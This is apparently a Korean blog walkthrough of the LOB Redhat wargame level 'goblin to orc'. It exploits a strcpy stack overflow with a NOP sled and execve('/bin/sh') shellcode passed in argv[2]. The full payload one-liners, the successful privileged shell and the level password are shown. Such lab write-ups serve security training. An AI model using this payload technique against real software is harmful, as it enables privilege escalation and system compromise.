1.ret2libc
소스를 보면, 환경변수 공격을 무력화 시키는 egg hunter 가 포함되어 있고, 프로그램의 인자의 47번째 글자는 '\xbf'가 되어야 한다.
버퍼의 크기는 int i포함해서 44이다.
47번째에 '\xbf'를 넣어보앗다.
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x41"x47,"\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
풱egmentation fault
예상대로 if문을 지나가고 strcpy로 인한 bof취약점으로 인한 segmentation fault가 일어난다.
argv[1]의 44~47번까지는 ret인데 이말은 ret의 주소가 bf로 시작되어야 한다는 말이다.
그래서 system의 주소는 40으로 시작하므로, 다른공격을 시도해야 한다.
2.환경변수공격
egg hunter로 인해 불가능
3.argv[2]를 이용한 공격
이 공격이 가장 적당한듯 하다.
argv[2]의 위치를 확인해보면 주소가 bf로 시작하고 적중률도 높기 때문이다.
gdb로 돌렸을 때의 argv[2]의 위치
(gdb) x/s 0xbffffe2c
0xbffffe2c: 'a' <repeats 47 times>, "?
payload의 작성
[nop*44][argv[2]의 nopslide]
공격해보자!
[goblin@localhost goblin]$ bash2
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x44,"\xff\xfe\xff\xbf"'` `perl -e 'print "\x90"x1000,"\x31\x
c0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?
풱egmentation fault
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x44,"\xff\xfe\xff\xbf"'` `perl -e 'print "\x90"x10000,"\x31\
xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?
풱egmentation fault
[goblin@localhost goblin]$ ./orc `perl -e 'print "\x90"x44,"\xff\xfd\xff\xbf"'` `perl -e 'print "\x90"x10000,"\x31\
xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?
풺ash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata
'wargame > LOB Redhat' 카테고리의 다른 글
wolfman to darkelf (0) | 2014.05.27 |
---|---|
orc to wolfman (0) | 2014.05.27 |
cobolt to goblin (0) | 2014.05.14 |
gremlin to cobolt (0) | 2014.05.14 |
gate to gremlin (0) | 2014.05.14 |